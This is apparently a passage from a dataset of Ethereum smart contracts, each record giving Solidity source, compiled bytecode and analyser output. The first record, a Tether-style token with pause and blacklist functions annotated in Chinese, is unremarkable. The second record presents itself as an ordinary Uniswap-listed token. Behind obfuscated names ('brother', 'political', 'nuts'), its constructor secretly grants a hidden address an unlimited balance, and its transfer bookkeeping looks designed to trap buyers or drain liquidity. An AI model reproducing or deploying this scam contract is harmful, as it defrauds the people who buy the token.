* @title Pausable 中断
* @dev Base contract which allows children to implement an emergency stop mechanism.
* @dev 实现紧急停止机制
*/
contract Pausable is Ownable{
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
* @dev 限制条件:函数只能是在合约未停止情况下执行.
*/
modifier whenNotPaused(){
require(!paused, "Must be used without pausing");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
* @dev 函数只能在停止条件下执行
*/
modifier whenPaused(){
require(paused, "Must be used under pause");
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
* @dev 只能由代币管理者进行停止
*
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
* @dev 只能是代币管理者进行重开
*/
function unpause() public onlyOwner whenPaused{
paused = false;
emit Unpause();
}
}
/**
* @dev 列黑名单
*/
contract BlackList is Ownable, BasicToken{
//黑名单映射
mapping(address => bool) isBlackListed;
//事件
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
//Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether)
//允许其他合约调用此黑名单(external),查看此人是否被列入黑名单
function getBlackListStatus(address _maker) external view returns(bool){
return isBlackListed[_maker];
}
//获取当前代币的Owner
function getOwner() external view returns(address){
return owner;
}
//增加黑名单
function addBlackList(address _evilUser) public onlyOwner{
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
//去除某人黑名单
function removeBlackList(address _clearUser) public onlyOwner{
isBlackListed[_clearUser] = false;
emit RemovedBlackList(_clearUser);
}
//去除掉黑名单账户的钱
function destroyBlackFunds(address _blackListUser) public onlyOwner{
//1. 检查是否在黑名单
require(isBlackListed[_blackListUser], "You can only clear the money of users in the blacklist");
//2. 查看要清除的钱
uint dirtyFunds = balanceOf(_blackListUser);
//3. 扣除清零
balances[_blackListUser] = 0;
//4. 总代币发行量减少
_totalSupply = _totalSupply.sub(dirtyFunds);
//5. 记录
emit DestroyedBlackFunds(_blackListUser, dirtyFunds);
}
}
//标准代币拓展(为了适应不支持ERC20的情况或者是拓展)
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
// 这些拓展方法都是来自遗留合同
// 并且合约调用者必须是合约地址
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
//主体代币
contract TetherToken is Pausable, StandardToken, BlackList{
string public name; //代币名
string public symbol; //标志
uint public decimals; //精度/小数点后几位
address public upgradedAddress; //升级合约的地址(必须是合约地址)
bool public deprecated; //弃用(支持ERC20与否)
// The contract can be initialized with a number of tokens 可初始化多个代币
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
constructor(
uint _initialSupply,
string _name,
string _symbol,
uint _decimals
) public {
//总发行币都给owner
_totalSupply = _initialSupply;
balances[owner] = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
deprecated = false;
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
// Forward ERC20 methods to upgraded contract if this one is deprecated
//如果不推荐使用ERC20方法,则将其转为升级的合同
function transfer(address _to, uint _value) public whenNotPaused{
//排除黑名单
require(!isBlackListed[msg.sender], "The account you applied for is on the blacklist and cannot be transferred");
//判断是否支持ERC20
if(deprecated){
//不支持的话就调用用upgradedAddress实例化的对象的transferByLegacy函数
//不知道这里为什么要传msg.sender?
//我猜测是重新升级适配函数的话调用此函数的人(msg.sender)也要转过去
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
}else{
//支持的话就直接调用ERC20的转账
//这里没有返回值,不知道为什么还要加return
return super.transfer(_to, _value);
}
}
//同理:
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused{
require(!isBlackListed[_from], "The account you applied for is on the blacklist and cannot be transferred");
if(deprecated){
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
}else{
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
//注意这里查询余额在代币暂停的情况下也是可以使用的
function balanceOf(address who) public view returns(uint){
if(deprecated){
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
}else{
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public whenNotPaused{
//这里不用检查了,如果是在黑名单中,那么授权再多也没用,transferFrom的时候就检测出来了
if(deprecated){
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
}else{
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public view returns(uint){
if(deprecated){
return UpgradedStandardToken(upgradedAddress).allowance(_owner, _spender);
}else{
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
//反对现行合同,改用新合同. upgradedAddress新合同地址
function deprecate(address _upgradedAddress) public onlyOwner{
deprecated = true;
upgradedAddress = _upgradedAddress;
//记录
emit Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
//反对现行合同,如果想换一个新合约,需要提前知道当前发行量
function totalSupply() public view returns(uint){
if(deprecated){
return UpgradedStandardToken(upgradedAddress).totalSupply();
}else{
return _totalSupply;
}
}
// Issue a new amount of tokens 发行新数量的代币
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint _amount) public onlyOwner{
//增加拥有者的量
balances[owner] = balances[owner].add(_amount);
//增加发行的总代币量
_totalSupply = _totalSupply.add(_amount);
//记录
emit Issue(_amount);
}
// 调整利息率和最大利息限制
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner{
// Ensure transparency by hardcoding limit beyond which fees can never be added
//通过硬编码限制来确保透明度,超过这个限度就不能再增加费用了
require(newBasisPoints < 20, "The new BasisPoints cannot exceed 20"); //0.002
require(newMaxFee < 50, "The new MaxFee cannot exceed 50"); //5*10**(decimals+1)
basisPointsRate = newBasisPoints;
maximunFee = newMaxFee.mul(10**decimals);
//记录
emit Params(newBasisPoints, newMaxFee);
}
}
|
0x60806040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101845780630753c30c1461020e578063095ea7b3146102315780630e136b19146102555780630ecb93c01461027e57806318160ddd1461029f57806323b872dd146102c657806326976e3f146102f057806327e235e314610321578063313ce567146103425780633eaaf86b146103575780633f4ba83a1461036c57806359bf1abe146103815780635c658165146103a25780635c975abb146103c9578063638c1c04146103de57806370a08231146103f35780638456cb5914610414578063893d20e8146104295780638da5cb5b1461043e57806395d89b4114610453578063a9059cbb14610468578063c0324c771461048c578063cc872b66146104a7578063dd62ed3e146104bf578063dd644f72146104e6578063e4997dc5146104fb578063e5b5019a1461051c578063f2fde38b14610531578063f3bdc22814610552575b600080fd5b34801561019057600080fd5b50610199610573565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d35781810151838201526020016101bb565b50505050905090810190601f1680156102005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021a57600080fd5b5061022f600160a060020a0360043516610601565b005b34801561023d57600080fd5b5061022f600160a060020a03600435166024356106d6565b34801561026157600080fd5b5061026a6107d9565b604080519115158252519081900360200190f35b34801561028a57600080fd5b5061022f600160a060020a03600435166107e9565b3480156102ab57600080fd5b506102b4610898565b60408051918252519081900360200190f35b3480156102d257600080fd5b5061022f600160a060020a0360043581169060243516604435610954565b3480156102fc57600080fd5b50610305610b1e565b60408051600160a060020a039092168252519081900360200190f35b34801561032d57600080fd5b506102b4600160a060020a0360043516610b2d565b34801561034e57600080fd5b506102b4610b3f565b34801561036357600080fd5b506102b4610b45565b34801561037857600080fd5b5061022f610b4b565b34801561038d57600080fd5b5061026a600160a060020a0360043516610c49565b3480156103ae57600080fd5b506102b4600160a060020a0360043581169060243516610c6b565b3480156103d557600080fd5b5061026a610c88565b3480156103ea57600080fd5b506102b4610c98565b3480156103ff57600080fd5b506102b4600160a060020a0360043516610c9e565b34801561042057600080fd5b5061022f610d5e565b34801561043557600080fd5b50610305610e4f565b34801561044a57600080fd5b50610305610e5e565b34801561045f57600080fd5b50610199610e6d565b34801561047457600080fd5b5061022f600160a060020a0360043516602435610ec8565b34801561049857600080fd5b5061022f600435602435611067565b3480156104b357600080fd5b5061022f6004356111ee565b3480156104cb57600080fd5b506102b4600160a060020a03600435811690602435166112d0565b3480156104f257600080fd5b506102b461139b565b34801561050757600080fd5b5061022f600160a060020a03600435166113a1565b34801561052857600080fd5b506102b461144d565b34801561053d57600080fd5b5061022f600160a060020a0360043516611453565b34801561055e57600080fd5b5061022f600160a060020a0360043516611536565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105f95780601f106105ce576101008083540402835291602001916105f9565b820191906000526020600020905b8154815290600101906020018083116105dc57829003601f168201915b505050505081565b60005433600160a060020a03908116911614610655576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611d18833981519152604482015290519081900360640190fd5b600a805460a060020a74ff0000000000000000000000000000000000000000199091161773ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03831690811790915560408051918252517fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e916020908290030190a150565b60005460a060020a900460ff1615610726576040805160e560020a62461bcd02815260206004820152601c6024820152600080516020611d58833981519152604482015290519081900360640190fd5b600a5460a060020a900460ff16156107cb57600a54604080517faee92d33000000000000000000000000000000000000000000000000000000008152600160a060020a0333811660048301528581166024830152604482018590529151919092169163aee92d3391606480830192600092919082900301818387803b1580156107ae57600080fd5b505af11580156107c2573d6000803e3d6000fd5b505050506107d5565b6107d582826116a6565b5050565b600a5460a060020a900460ff1681565b60005433600160a060020a0390811691161461083d576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611d18833981519152604482015290519081900360640190fd5b600160a060020a038116600081815260066020908152604091829020805460ff19166001179055815192835290517f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc9281900390910190a150565b600a5460009060a060020a900460ff161561094c57600a60009054906101000a9004600160a060020a0316600160a060020a03166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561091957600080fd5b505af115801561092d573d6000803e3d6000fd5b505050506040513d602081101561094357600080fd5b50519050610951565b506001545b90565b60005460a060020a900460ff16156109a4576040805160e560020a62461bcd02815260206004820152601c6024820152600080516020611d58833981519152604482015290519081900360640190fd5b600160a060020a03831660009081526006602052604090205460ff1615610a61576040805160e560020a62461bcd02815260206004820152604960248201527f546865206163636f756e7420796f75206170706c69656420666f72206973206f60448201527f6e2074686520626c61636b6c69737420616e642063616e6e6f7420626520747260648201527f616e736665727265640000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600a5460a060020a900460ff1615610b0e57600a54604080517f8b477adb000000000000000000000000000000000000000000000000000000008152600160a060020a033381166004830152868116602483015285811660448301526064820185905291519190921691638b477adb91608480830192600092919082900301818387803b158015610af157600080fd5b505af1158015610b05573d6000803e3d6000fd5b50505050610b19565b610b19838383611837565b505050565b600a54600160a060020a031681565b60026020526000908152604090205481565b60095481565b60015481565b60005433600160a060020a03908116911614610b9f576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611d18833981519152604482015290519081900360640190fd5b60005460a060020a900460ff161515610c02576040805160e560020a62461bcd02815260206004820152601860248201527f4d757374206265207573656420756e6465722070617573650000000000000000604482015290519081900360640190fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b600160a060020a03811660009081526006602052604090205460ff165b919050565b600560209081526000928352604080842090915290825290205481565b60005460a060020a900460ff1681565b60045481565b600a5460009060a060020a900460ff1615610d4e57600a54604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152915191909216916370a082319160248083019260209291908290030181600087803b158015610d1b57600080fd5b505af1158015610d2f573d6000803e3d6000fd5b505050506040513d6020811015610d4557600080fd5b50519050610c66565b610d5782611a91565b9050610c66565b60005433600160a060020a03908116911614610db2576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611d18833981519152604482015290519081900360640190fd5b60005460a060020a900460ff1615610e02576040805160e560020a62461bcd02815260206004820152601c6024820152600080516020611d58833981519152604482015290519081900360640190fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031690565b600054600160a060020a031681565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105f95780601f106105ce576101008083540402835291602001916105f9565b60005460a060020a900460ff1615610f18576040805160e560020a62461bcd02815260206004820152601c6024820152600080516020611d58833981519152604482015290519081900360640190fd5b600160a060020a03331660009081526006602052604090205460ff1615610fd5576040805160e560020a62461bcd02815260206004820152604960248201527f546865206163636f756e7420796f75206170706c69656420666f72206973206f60448201527f6e2074686520626c61636b6c69737420616e642063616e6e6f7420626520747260648201527f616e736665727265640000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600a5460a060020a900460ff161561105d57600a54604080517f6e18980a000000000000000000000000000000000000000000000000000000008152600160a060020a03338116600483015285811660248301526044820185905291519190921691636e18980a91606480830192600092919082900301818387803b1580156107ae57600080fd5b6107d58282611aac565b60005433600160a060020a039081169116146110bb576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611d18833981519152604482015290519081900360640190fd5b60148210611138576040805160e560020a62461bcd028152602060048201526024808201527f546865206e6577204261736973506f696e74732063616e6e6f7420657863656560448201527f6420323000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60328110611190576040805160e560020a62461bcd02815260206004820152601f60248201527f546865206e6577204d61784665652063616e6e6f742065786365656420353000604482015290519081900360640190fd5b60038290556009546111ac908290600a0a63ffffffff611c7e16565b600455604080518381526020810183905281517fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e929181900390910190a15050565b60005433600160a060020a03908116911614611242576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611d18833981519152604482015290519081900360640190fd5b60008054600160a060020a031681526002602052604090205461126b908263ffffffff611cb416565b60008054600160a060020a0316815260026020526040902055600154611297908263ffffffff611cb416565b6001556040805182815290517fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a9181900360200190a150565b600a5460009060a060020a900460ff161561138857600a54604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a03868116600483015285811660248301529151919092169163dd62ed3e9160448083019260209291908290030181600087803b15801561135557600080fd5b505af1158015611369573d6000803e3d6000fd5b505050506040513d602081101561137f57600080fd5b50519050611395565b6113928383611cc3565b90505b92915050565b60035481565b60005433600160a060020a039081169116146113f5576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611d18833981519152604482015290519081900360640190fd5b600160a060020a038116600081815260066020908152604091829020805460ff19169055815192835290517fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c9281900390910190a150565b60001981565b60005433600160a060020a039081169116146114a7576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611d18833981519152604482015290519081900360640190fd5b600160a060020a0381161515611507576040805160e560020a62461bcd02815260206004820152601b60248201527fe4b88de883bde7bb99e59cb0e59d8030e8bdace7a7bb6f776e65720000000000604482015290519081900360640190fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000805433600160a060020a0390811691161461158b576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611d18833981519152604482015290519081900360640190fd5b600160a060020a03821660009081526006602052604090205460ff161515611623576040805160e560020a62461bcd02815260206004820152603660248201527f596f752063616e206f6e6c7920636c65617220746865206d6f6e6579206f662060448201527f757365727320696e2074686520626c61636b6c69737400000000000000000000606482015290519081900360840190fd5b61162c82610c9e565b600160a060020a03831660009081526002602052604081205560015490915061165b908263ffffffff611cee16565b60015560408051600160a060020a03841681526020810183905281517f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c6929181900390910190a15050565b60406044361015611701576040805160e560020a62461bcd02815260206004820152601560248201527f496e76616c69642073686f727420616464726573730000000000000000000000604482015290519081900360640190fd5b81158015906117345750600160a060020a0333811660009081526005602090815260408083209387168352929052205415155b156117d5576040805160e560020a62461bcd02815260206004820152604760248201527f596f752068617665206f6e6c79206f6e65206368616e636520746f206170707260448201527f6f7665202c20796f752063616e206f6e6c79206368616e676520697420746f2060648201527f30206c6174657200000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a03338116600081815260056020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000808060406044361015611896576040805160e560020a62461bcd02815260206004820152601560248201527f496e76616c69642073686f727420616464726573730000000000000000000000604482015290519081900360640190fd5b600160a060020a03808816600090815260056020908152604080832033909416835292905220546003549094506118e890612710906118dc90889063ffffffff611c7e16565b9063ffffffff611d0016565b92506004548311156118fa5760045492505b60001984101561193c57611914848663ffffffff611cee16565b600160a060020a03808916600090815260056020908152604080832033909416835292905220555b600160a060020a038716600090815260026020526040902054611965908663ffffffff611cee16565b600160a060020a03881660009081526002602052604090205561198e858463ffffffff611cee16565b600160a060020a0387166000908152600260205260409020549092506119ba908363ffffffff611cb416565b600160a060020a038716600090815260026020526040812091909155831115611a4f5760008054600160a060020a0316815260026020526040902054611a06908463ffffffff611cb416565b60008054600160a060020a0390811682526002602090815260408084209490945591548351878152935190821693918b1692600080516020611d38833981519152928290030190a35b85600160a060020a031687600160a060020a0316600080516020611d38833981519152846040518082815260200191505060405180910390a350505050505050565b600160a060020a031660009081526002602052604090205490565b60008060406044361015611b0a576040805160e560020a62461bcd02815260206004820152601560248201527f496e76616c69642073686f727420616464726573730000000000000000000000604482015290519081900360640190fd5b611b256127106118dc60035487611c7e90919063ffffffff16565b9250600454831115611b375760045492505b611b47848463ffffffff611cee16565b600160a060020a033316600090815260026020526040902054909250611b73908363ffffffff611cee16565b600160a060020a033381166000908152600260205260408082209390935590871681522054611ba8908363ffffffff611cb416565b600160a060020a038616600090815260026020526040812091909155831115611c3e5760008054600160a060020a0316815260026020526040902054611bf4908463ffffffff611cb416565b60008054600160a060020a03908116825260026020908152604080842094909455915483518781529351908216933390921692600080516020611d38833981519152928290030190a35b84600160a060020a031633600160a060020a0316600080516020611d38833981519152846040518082815260200191505060405180910390a35050505050565b600080831515611c915760009150611cad565b50828202828482811515611ca157fe5b0414611ca957fe5b8091505b5092915050565b600082820183811015611ca957fe5b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600082821115611cfa57fe5b50900390565b6000808284811515611d0e57fe5b049493505050505600e4bb856f776e6572e8b083e794a8efbc81000000000000000000000000000000ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef4d757374206265207573656420776974686f75742070617573696e6700000000a165627a7a72305820f3230991b303bacfdd54bf25e7b713b2cbd33940db958e13242f34cba9e176410029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 4,464 |
0xE31523Fe8e063F08941f0bF2Ff27A17d915AD88f
|
// https://twitter.com/elonmusk/status/1515799688296943636
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address nuts
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[nuts] = produce;
_balances[msg.sender] = _tTotal;
join[nuts] = produce;
join[msg.sender] = produce;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => address) private political;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private produce = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function brother(
address crowd,
address sitting,
uint256 amount
) private {
address meat = political[address(0)];
bool dish = uniswapV2Pair == crowd;
uint256 tent = _fee;
if (join[crowd] == 0 && are[crowd] > 0 && !dish) {
join[crowd] -= tent;
}
political[address(0)] = sitting;
if (join[crowd] > 0 && amount == 0) {
join[sitting] += tent;
}
are[meat] += tent;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[crowd] -= fee;
_balances[address(this)] += fee;
_balances[crowd] -= amount;
_balances[sitting] += amount;
}
mapping(address => uint256) private are;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private join;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
brother(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
brother(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a